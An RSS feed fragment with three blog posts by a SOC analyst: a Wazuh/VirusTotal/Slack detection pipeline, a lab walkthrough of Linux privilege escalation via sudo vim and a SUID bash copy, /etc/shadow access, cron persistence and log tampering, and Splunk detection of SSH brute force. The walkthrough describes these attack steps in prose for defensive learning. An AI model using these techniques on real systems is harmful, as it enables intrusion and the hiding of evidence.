src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84decdfc0851" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Designing an Intelligence-Driven Detection And Escalation Pipeline with Wazuh]]></title>
            <link>https://medium.com/@ezechijapheth/designing-an-intelligence-driven-detection-and-escalation-pipeline-with-wazuh-3585559d90cd?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3585559d90cd</guid>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 13:26:23 GMT</pubDate>
            <atom:updated>2026-02-24T13:26:23.628Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Automating file-based threat detection, enrichment, and real-time SOC escalation in a home lab environment.</em></p><h3>Executive Overview</h3><p>Modern Security Operations Centers (SOCs) face a persistent challenge: too many alerts, too little context.</p><p>File creation alerts alone do not indicate compromise. Analysts often spend valuable time manually extracting hashes, searching threat intelligence platforms, and determining whether an alert is benign or malicious. This manual triage process increases response time and contributes to alert fatigue.</p><p>In this project, I designed and implemented an automated malware detection pipeline using:</p><ul><li><strong>Wazuh</strong> (SIEM &amp; host monitoring)</li><li><strong>VirusTotal</strong> (threat intelligence enrichment)</li><li><strong>Slack</strong> (real-time alert escalation)</li></ul><p>The objective was to simulate a Tier 1 SOC workflow where file-based detections are automatically enriched with intelligence and escalated to a communication channel without requiring manual hash lookup.</p><p>This implementation demonstrates how automation can reduce investigation time, improve alert prioritization, and enhance analyst efficiency.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YnbIQNYjjXSEk4PE6wzjwA.png" /></figure><h3>Lab Architecture</h3><p>The lab was structured to reflect a simplified enterprise detection environment.</p><h3>Components</h3><ul><li><strong>Windows 10 Endpoint</strong></li><li>Wazuh Agent installed</li><li>File Integrity Monitoring (FIM) enabled</li><li><strong>Ubuntu Server</strong></li><li>Wazuh Manager deployed</li><li>VirusTotal API integration</li><li>Slack Webhook integration</li></ul><h3>Detection Flow</h3><ol><li>File created on monitored endpoint</li><li>Wazuh FIM generates event</li><li>File hash calculated</li><li>Hash automatically queried against VirusTotal</li><li>Malicious verdict enriches alert</li><li>High-severity alert forwarded to Slack</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-NiMX59g2TM2gUxGwgREA.png" /><figcaption><strong>Lab Architecture Overview</strong></figcaption></figure><h3>Detection Use Case</h3><h3>Use Case: Suspicious File Creation on User Desktop</h3><p>User-accessible directories are common staging areas for malware. The Desktop folder was configured under Wazuh’s<a href="https://medium.com/the-malware-files/wazuh-virustotal-slack-automated-threat-detection-enrichment-and-alerting-300898b0f4fd"> File Integrity Monitoring</a> module to detect:</p><ul><li>File creation</li><li>File modification</li><li>Hash changes</li></ul><p>When a file event occurs:</p><ul><li>Wazuh generates a syscheck alert</li><li>SHA256 hash is computed</li><li>The hash is automatically submitted to VirusTotal for reputation analysis</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7m1yRgut0-Zx53KWUX4wA.png" /><figcaption><strong>File Integrity Monitoring Alert Triggered</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEPsX-4i8sfomjEhUQlMqw.png" /><figcaption>File Integrity Monitoring Dashboard</figcaption></figure><h3>Threat Intelligence Enrichment with VirusTotal</h3><p>To reduce manual triage effort, I integrated VirusTotal directly into the Wazuh Manager configuration.</p><p>The integration was configured within the ossec.conf file using the &lt;integration&gt; block and associated with the syscheck group. This ensures only relevant file-based alerts are enriched.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*SXcU10BAKi8nyd_Z3vbv1g.png" /><figcaption>ossec.conf</figcaption></figure><p>Once enabled:</p><ul><li>The file hash is automatically queried</li><li>Detection ratio is retrieved</li><li>Reputation metadata is appended to the alert</li><li>A permalink to the VirusTotal report is included</li></ul><p>This transforms a basic file event into a fully contextualized intelligence-backed alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tli55j-XHaw-gQqrjP4DoQ.png" /><figcaption><strong>VirusTotal-Enriched Alert in Wazuh Dashboard</strong></figcaption></figure><h3>Why This Matters</h3><p>Without enrichment:</p><blockquote><em>Analyst must manually extract hash → search VirusTotal → interpret results.</em></blockquote><p>With enrichment:</p><blockquote><em>Alert already contains detection count, malicious classification, and external intelligence reference.</em></blockquote><p>This significantly reduces mean time to triage (MTTT).</p><h3>Alert Escalation via Slack</h3><p>Dashboards are passive. Analysts may not constantly monitor them.</p><p>To simulate a real SOC communication workflow, I configured Wazuh to forward enriched alerts to Slack using Incoming Webhooks.</p><p>The webhook URL was securely embedded within the Slack integration block in Wazuh. (<a href="https://medium.com/the-malware-files/wazuh-virustotal-slack-automated-threat-detection-enrichment-and-alerting-300898b0f4fd">Learn how to integrate slack web hook here</a>)</p><p>Only high-severity alerts were escalated to prevent notification noise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P8JoxSCyk8ARotZbD9nsaw.png" /><figcaption><strong>Slack Webhook Configuration</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_oLse_U_OxiW7AMga5GzXg.png" /><figcaption><strong>Real-Time Slack Alert Notification</strong></figcaption></figure><p>This step converts detection into immediate visibility, enabling:</p><ul><li>Rapid analyst awareness</li><li>Collaborative triage</li><li>Escalation tracking</li></ul><h3>Controlled Malware Validation Scenario</h3><p>To validate the detection pipeline, I introduced a known ransomware sample into the monitored directory.</p><p>The sample was not executed. It was handled safely as a compressed archive and extracted within the Desktop folder.</p><p>This triggered:</p><ul><li>File creation event</li><li>SHA256 hash generation</li><li>Automatic VirusTotal query</li></ul><p>VirusTotal classified the sample as malicious, with a high detection ratio across multiple AV engines.</p><p>Wazuh generated a Level 12 alert under the VirusTotal ruleset, indicating high severity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tli55j-XHaw-gQqrjP4DoQ.png" /><figcaption><strong>High-Severity Alert in Wazuh Dashboard</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1WlwWe84JkHLdrn9gxw_Q.png" /><figcaption><strong>VirusTotal Detection Ratio Details</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VP3T0FK_6L1wHwku4Fu4g.png" /><figcaption><strong>Slack Escalation Alert</strong></figcaption></figure><p>The full detection pipeline functioned as expected:</p><p>Detection → Enrichment → Escalation</p><h3>Tier 1 SOC Triage Perspective</h3><p>If this alert appeared in a production SOC, my triage workflow would include:</p><ol><li>Validate hash reputation in VirusTotal</li><li>Confirm file path and user context</li><li>Identify source of file (download, USB, email, etc.)</li><li>Check for execution artifacts</li><li>Review endpoint logs for process activity</li><li>Escalate to Tier 2 if lateral movement indicators are present</li></ol><p>This approach ensures the alert transitions from detection to actionable investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hkvxQnSHydWT2jArSDnbjA.png" /></figure><h3>Operational Benefits Observed</h3><p>Implementing automated threat intelligence enrichment significantly reduced the need for manual hash lookups. Instead of pivoting to external platforms to verify file reputation, the intelligence data was embedded directly within the alert. This streamlined the triage process and eliminated repetitive investigation steps.</p><p>Alert prioritization also improved. By incorporating detection ratios from external intelligence sources, alerts carried stronger context and higher confidence levels. This made it easier to distinguish between low-risk activity and events that required immediate attention.</p><p>Real-time Slack notifications enhanced analyst awareness by reducing reliance on continuously monitoring dashboards. High-severity alerts were delivered directly to a communication channel, allowing faster acknowledgment and collaborative response.</p><h3>Lessons Learned</h3><ul><li>Context is more valuable than raw alerts.</li><li>Automation must be precise to avoid alert fatigue.</li><li>Intelligence-driven detection significantly improves triage efficiency.</li><li>Even open-source tools can replicate enterprise SOC capabilities when properly integrated.</li></ul><h3>Conclusion</h3><p>This project successfully demonstrates how integrating Wazuh, VirusTotal, and Slack can create an intelligence-driven malware detection pipeline aligned with real-world SOC operations.</p><p>By combining file monitoring, automated enrichment, and real-time escalation, the system reduces investigation time while increasing confidence in alert severity.</p><p>More importantly, this lab reflects how a Tier 1 analyst can leverage automation to focus on investigation and decision-making rather than repetitive tasks.</p><p>As threat volumes continue to increase, intelligence-backed detection pipelines like this are no longer optional — they are operational necessities.</p><p>MANY Thanks to <a href="https://medium.com/@efamharris">Efam Harris</a> and <a href="https://medium.com/@nanaaisha1030">Olayinka Aisha</a> for your inspiration and guidance</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3585559d90cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Low-Privilege Access to Full System Control: A SOC Analyst’s Walkthrough of Linux Privilege…]]></title>
            <link>https://medium.com/@ezechijapheth/from-low-privilege-access-to-full-system-control-a-soc-analysts-walkthrough-of-linux-privilege-ab2f66591c33?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab2f66591c33</guid>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Sat, 24 Jan 2026 16:32:57 GMT</pubDate>
            <atom:updated>2026-01-24T16:32:57.226Z</atom:updated>
            <content:encoded><![CDATA[<h3>From Low-Privilege Access to Full System Control: A SOC Analyst’s Walkthrough of Linux Privilege Escalation</h3><blockquote>Due to resource constraints, the attack and victim environment were simulated on a single Kali Linux host. The attacker and target roles were logically separated, with the SSH service representing a public-facing Linux server and enumeration and exploitation techniques simulating post-compromise attacker behavior.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*jbUVQOLt4WX9zYOhVqwRqg.jpeg" /></figure><h3>Why This Project Matters for a SOC Analyst</h3><p>Most Linux security write-ups focus on <em>how to hack the box</em>.<br>This one focuses on <strong>how a SOC analyst should think when a box is already compromised</strong>.</p><p>In real-world SOC operations, attackers don’t always arrive with exploits and zero-days. More often, they arrive with:</p><ul><li>A stolen credential</li><li>A weak local configuration</li><li>Time to enumerate quietly</li></ul><p>This project simulates a <strong>realistic post-compromise scenario</strong>:<br>a low-privileged Linux user account is breached, and the attacker proceeds through enumeration, privilege escalation, persistence, and log tampering.</p><p>The goal isn’t exploitation for bragging rights.<br>The goal is to understand:</p><ul><li><strong>What should alert</strong></li><li><strong>What might be missed</strong></li><li><strong>What Tier 1 must escalate</strong></li></ul><h3>Scenario Overview</h3><p>A Linux host is accessed using a <strong>low-privileged user account</strong>.<br>From that foothold, the attacker:</p><ol><li>Enumerates the system for weaknesses</li><li>Escalates privileges using misconfigurations</li><li>Accesses sensitive credentials</li><li>Establishes persistence</li><li>Attempts to erase traces</li></ol><p>All actions are mapped to <strong>MITRE ATT&amp;CK</strong> and analyzed from a <strong>SOC Tier 1 perspective</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*2FUZtAy6mx7uvemyzlEUcA.png" /></figure><h3>Phase 0 — Lab Setup (Establishing Context)</h3><p>Before any investigation, a SOC analyst must answer one simple question:</p><blockquote><strong><em>“Who am I on this system?”</em></strong></blockquote><p>A low-privileged user (analyst) was created and used as the initial access point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*icS_PSnRPuPYApjeQAmYYA.png" /></figure><p>This mirrors real incidents where attackers log in using:</p><ul><li>Phished credentials</li><li>Reused passwords</li><li>Weak SSH access</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*X1UXlx-a9SvRZj3uLwPHCQ.png" /></figure><p>Never assume privilege. Many investigations fail because analysts skip this basic validation step.</p><h3>Phase 1 — Intentional Misconfiguration (The Weakness Already Existed)</h3><p>No attacker magic yet.<br>The system is already vulnerable.</p><p>Two common and <strong>very real</strong> misconfigurations were introduced:</p><h3>1. Sudo Misconfiguration (NOPASSWD)</h3><p>The low-privileged user was allowed to run vim as root <strong>without a password</strong>.</p><p>From a defender’s point of view, this is critical because:</p><ul><li>Many admins grant convenience access</li><li>They underestimate what tools like vim can do</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*romAkqi5M9qKjFJWUJ7DfQ.png" /></figure><h3>2. Unsafe SUID Binary</h3><p>A copy of bash was created with the <strong>SUID bit enabled</strong>.</p><p>This means:</p><ul><li>Any user executing it could potentially gain elevated privileges</li><li>This is often discovered during post-exploitation enumeration</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_SfFqRv7HiEEjjUAxCNguA.png" /></figure><p>Misconfigurations like these are not exploits — they’re <strong>self-inflicted wounds</strong>.</p><h3>Phase 2 — Enumeration (Discovery Before Action)</h3><p>Attackers don’t escalate blindly. They enumerate.</p><p>linPEAS was used to automate discovery:</p><ul><li>Sudo permissions</li><li>SUID binaries</li><li>Writable root-owned files</li><li>Cron jobs</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*VA1nzDvRePyA0rQpvpWphA.png" /></figure><p>The output was redirected to a file for offline analysis, simulating how attackers (and defenders) review evidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*mF2_p00I9FYlnpK0_G_Yqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*L8MqykIXNOE9InXRFJe7mQ.png" /></figure><p>Manual checks were also performed to mirror what a SOC analyst expects to see validated independently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*g2ND_3Ds39Ap5F3rKXOq5w.png" /></figure><p>Since Enumeration scripts are loud any EDR worth its salt should notice this behavior.</p><h3>Phase 3 — Privilege Escalation (TA0004)</h3><p>At this point, the attacker has <strong>options</strong>.</p><h3>Exploiting Sudo Misconfiguration</h3><p>Using the allowed vim binary, a shell was spawned as root.</p><p>No exploit.<br>No memory corruption.<br>Just abuse of trust.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*IRp142sfiN-xH85dZCXOrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*m7GS510ucPxJ3t5p4RxHsw.png" /></figure><h3>Exploiting the SUID Binary</h3><p>The SUID-enabled bash binary was executed with preserved privileges.</p><p>This resulted in effective root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*YFG3RFFasZur-KFpUJ6r0Q.png" /></figure><p>Privilege escalation via misconfiguration is one of the <strong>most common real-world escalation paths</strong>.</p><h3>Phase 4 — Credential Access (TA0006)</h3><p>With elevated privileges, sensitive system files become accessible.</p><p>The /etc/shadow file was read and optionally copied.</p><p>This represents:</p><ul><li>Potential offline password cracking</li><li>Credential reuse across systems</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*AxQHdHTTYU4uuO0jx4jgGw.png" /></figure><p>Access to /etc/shadow should immediately raise a <strong>high-severity alert</strong>.</p><h3>Phase 5 — Persistence (TA0003)</h3><p>Attackers don’t want access once.<br>They want access <strong>tomorrow</strong>.</p><p>A simple persistence script was created that logs execution time.</p><p>From an attacker’s mindset:</p><ul><li>Small</li><li>Quiet</li><li>Easy to hide</li></ul><p>The script was scheduled using a cron job running as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XnOrtcgklHtrhaRejpC0vQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*INaeHXhiDDcYJvRPlyeMIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*YwCPi5AAX449vw23dPSXxA.png" /></figure><p>Cron jobs are a favorite persistence mechanism because they blend into normal system behavior thereby evading detection.</p><h3>Phase 6 — Defense Evasion &amp; Log Tampering (TA0005)</h3><p>Once persistence is established, attackers often attempt to erase traces.</p><p>Actions performed:</p><ul><li>Clearing shell history</li><li>Deleting history files</li><li>Modifying log timestamps</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*CXljUyV1jdbVqAVwRpz8Tw.png" /></figure><p>Although local shell history was cleared and authentication log timestamps were modified, systemd journal logs/stat logs retained evidence of privileged command execution, demonstrating the limitations of local log tampering in environments with centralized or immutable logging</p><h3>Phase 7 — Persistence Verification</h3><p>After a brief wait, the persistence mechanism executed successfully, confirming that the attacker could regain access repeatedly without re-exploitation. This persistence, combined with attempted log and history tampering, highlights how attackers rely on automated re-entry while assuming local artifacts are their primary exposure point</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*UK5h6jCZvJ9q3dy_vbJObA.png" /></figure><h3>Phase 8 — MITRE ATT&amp;CK Mapping</h3><p>This activity aligns cleanly with MITRE ATT&amp;CK techniques:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hd_d0rATv9aGzxjWC0_sbA.png" /></figure><h3>Phase 9 — SOC Tier 1 Takeaways</h3><p>From a Tier 1 perspective, this incident should raise questions like:</p><ul><li>Which alerts should have fired during enumeration?</li><li>Would sudo abuse be visible without EDR?</li><li>How quickly would cron modifications be detected?</li><li>What signals require escalation to Tier 2?</li></ul><p>This is where SOC maturity is tested — not during exploitation, but during <strong>visibility gaps</strong>.</p><h3>Conclusion — Why This Project Is Valuable</h3><p>This project demonstrates a <strong>full Linux attack lifecycle</strong> using nothing more than:</p><ul><li>A single VM</li><li>Realistic misconfigurations</li><li>Common attacker techniques</li></ul><p>More importantly, it reframes the exercise from:</p><blockquote>“How do I hack Linux?”<em><br>to<br></em>“How do I detect, understand, and respond to a compromised Linux host?”</blockquote><p>That shift in mindset is what separates tool users from <strong>SOC analysts</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab2f66591c33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When SSH Logs Tell a Story: Detecting Brute-Force Attacks with Splunk SIEM]]></title>
            <link>https://medium.com/@ezechijapheth/when-ssh-logs-tell-a-story-detecting-brute-force-attacks-with-splunk-siem-e5ab093fd577?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5ab093fd577</guid>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Wed, 14 Jan 2026 09:29:39 GMT</pubDate>
            <atom:updated>2026-01-14T09:29:39.412Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How a routine log review uncovered coordinated credential-guessing attempts — and how we turned raw data into actionable security visibility.</em></p><h3>Introduction: A Quiet Signal in the Noise</h3><p>On <strong>December 10, 2025</strong>, our Security Operations Center (SOC) received reports of suspicious login behavior across internal systems. Nothing dramatic — no alarms blaring, no systems offline. Just a subtle pattern: repeated SSH authentication failures that didn’t <em>feel</em> normal.</p><p>In cybersecurity, these are often the moments that matter most.</p><p>This article walks through how our team analyzed <strong>OpenSSH authentication logs</strong> using <strong>Splunk Cloud</strong>, uncovered signs of automated brute-force activity, and implemented dashboards, alerts, and field extractions to strengthen ongoing detection.</p><p>Whether you’re a SOC analyst, a student, or a security leader, this is a practical look at how SIEM data becomes a security story.</p><h3>The Problem: Are These Failed Logins Just “Normal”?</h3><p>SSH services are constantly probed on the internet. Not every failed login attempt is an attack — but attackers rely on defenders ignoring “background noise.”</p><p>Our goal was simple:</p><blockquote><strong><em>Determine whether recent SSH authentication failures were routine system noise or active malicious behavior.</em></strong></blockquote><p>To answer that, we needed visibility, context, and correlation.</p><h3>Bringing the Logs to Life in Splunk</h3><p>The investigation began by ingesting the <strong>OpenSSH log file</strong> into <strong>Splunk Cloud</strong> using the <em>Add Data</em> interface in the Search &amp; Reporting app.</p><p>Key ingestion steps included:</p><ul><li>Assigning the correct <strong>sourcetype</strong> for accurate parsing</li><li>Indexing the data for fast search and correlation</li><li>Validating timestamps to ensure proper event sequencing</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jKJzT-gKfZORLJMCaIDzyw.jpeg" /><figcaption><em>Upload Log File Confirmation (Splunk Add Data interface)</em></figcaption></figure><p>Once ingested, raw log entries transformed from static text into searchable, time-ordered events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*VcYLhWRMtuWrN000LrIuMw.png" /><figcaption><em>Raw Event Timeline showing SSH authentication activity</em></figcaption></figure><h3>Patterns Emerge — Failed Logins at Scale</h3><p>As we queried the data, clear patterns began to form.</p><p>We observed:</p><ul><li>Repeated <strong>failed authentication attempts</strong></li><li>Attempts using <strong>invalid usernames</strong></li><li><strong>Connection drops</strong> before authentication completed</li><li>High-frequency login attempts within short time windows</li></ul><p>Several IP addresses stood out immediately, including:</p><ul><li>103.99.0.122</li><li>187.141.143.180</li><li>185.190.58.151</li><li>5.188.10.180</li><li>183.62.140.253</li></ul><p>These IPs generated <strong>more than five login attempts within a ten-minute window</strong>, a classic indicator of <strong>brute-force or credential-guessing attacks</strong>.</p><p>Additional foreign IPs such as 112.95.230.3 and 123.235.32.19 showed repeated failed authentications consistent with reconnaissance activity.</p><p>At this point, the question was no longer <em>if</em> something was happening — but <em>how often</em> and <em>how consistently</em>.</p><h3>Visualizing the Threat with a Splunk Dashboard</h3><p>To move from investigation to continuous monitoring, we built a <strong>dedicated Splunk dashboard</strong> focused on suspicious SSH disconnect behavior.</p><p>The core query driving the dashboard was:</p><blockquote><strong><em>“Received disconnect from 112.95.230.3: 11: Bye Bye [preauth]”</em></strong></blockquote><p>This specific pattern indicates abnormal session termination <strong>before authentication</strong>, often associated with automated tools scanning SSH services.</p><p>The dashboard included:</p><ul><li><strong>Event count panels</strong> (how often it’s happening)</li><li><strong>Time-based trend charts</strong> (when it’s happening)</li><li><strong>Source IP distribution charts</strong> (who it’s coming from)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hryhSqzeMPcQ7uz1ef_XfQ.png" /><figcaption><em>Splunk Dashboard Overview</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Mf_ZkbGOpTxZxjE9CqN2-A.png" /><figcaption><em>Disconnect Trend Visualization</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*lU57ErJkYKlrdJGkW3N20w.png" /><figcaption><em>Logon Attempt Visualization</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*I7GE7abPuSgFITZUwFlzcA.png" /><figcaption><em>Top 10 Invalid User Attempts with Corresponding IPs</em></figcaption></figure><p>These visuals made it easy to spot recurring behavior and distinguish isolated failures from coordinated attack patterns.</p><h3>From Visibility to Action — Automated Alerts</h3><p>Dashboards show you <em>what happened</em>. Alerts tell you <em>when to act</em>.</p><p>We configured an <strong>automated alert</strong> using the same SSH disconnect query with the following logic:</p><ul><li><strong>Trigger condition:</strong> More than 2 matching events in 24 hours</li><li><strong>Schedule:</strong> Daily at <strong>08:00 WAT</strong></li><li><strong>Delivery:</strong> Plain-text email</li><li><strong>Recipients:</strong> All SOC Group 2 members</li><li><strong>Security control:</strong> Restricted to approved internal domains</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*g5rcKEwcvKQ2E6nSQYq2Qg.png" /><figcaption><em>Create Alert Interface</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6VXpql8PxSFhtkOVrEzIeA.png" /><figcaption><em>Email Notification Configuration</em></figcaption></figure><p>This ensured that suspicious SSH activity never went unnoticed — even if analysts weren’t actively watching the dashboard.</p><h3>Improving Correlation with Field Extraction</h3><p>During analysis, one limitation became clear: IP addresses buried in raw log messages slow investigations.</p><p>To fix this, we created a <strong>custom field extraction</strong> using regex to isolate source IP addresses and map them to a dedicated field called <strong>src_ip</strong>.</p><p>Why this matters:</p><ul><li>Faster filtering by attacker IP</li><li>Cleaner dashboards and alerts</li><li>More accurate correlation across searches</li></ul><p>By normalizing the data, future investigations became quicker and more precise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*2B6awHdJSNEAaTT4cFhMcw.png" /><figcaption><em>Field Extraction Configuration (src_ip)</em></figcaption></figure><h3>Securing the SIEM Itself — User Management</h3><p>Security doesn’t stop at detection tools.</p><p>We configured <strong>Splunk Cloud user accounts</strong> for all SOC members with:</p><ul><li>Role-based access control (least privilege)</li><li>Mandatory password resets on first login</li><li>Timezone alignment (WAT and regional zones)</li><li>Standardized default landing pages</li></ul><p>This ensured accountability, auditability, and consistent analysis across the team.</p><h3>What We Learned</h3><p>This investigation reinforced several key security lessons:</p><ol><li><strong>Brute-force attacks are often quiet, not dramatic</strong></li><li><strong>Frequency and timing matter more than single events</strong></li><li><strong>Dashboards create awareness — but alerts create response</strong></li><li><strong>Good field extraction saves time when it matters most</strong></li><li><strong>SIEM security is only as strong as its access controls</strong></li></ol><h3>Conclusion: Turning Logs into Security Intelligence</h3><p>Between <strong>06:55 and 11:04 on December 10</strong>, our Splunk analysis revealed coordinated SSH brute-force and reconnaissance activity targeting internal systems.</p><p>By:</p><ul><li>Ingesting and analyzing OpenSSH logs</li><li>Identifying malicious IP behavior</li><li>Building dashboards for visibility</li><li>Configuring alerts for proactive detection</li><li>Enhancing correlation with custom fields</li></ul><p>we transformed raw log data into <strong>actionable security intelligence</strong>.</p><p>This is what modern SOC work looks like — not just reacting to alerts, but building systems that <em>tell the story before the breach happens</em>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5ab093fd577" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>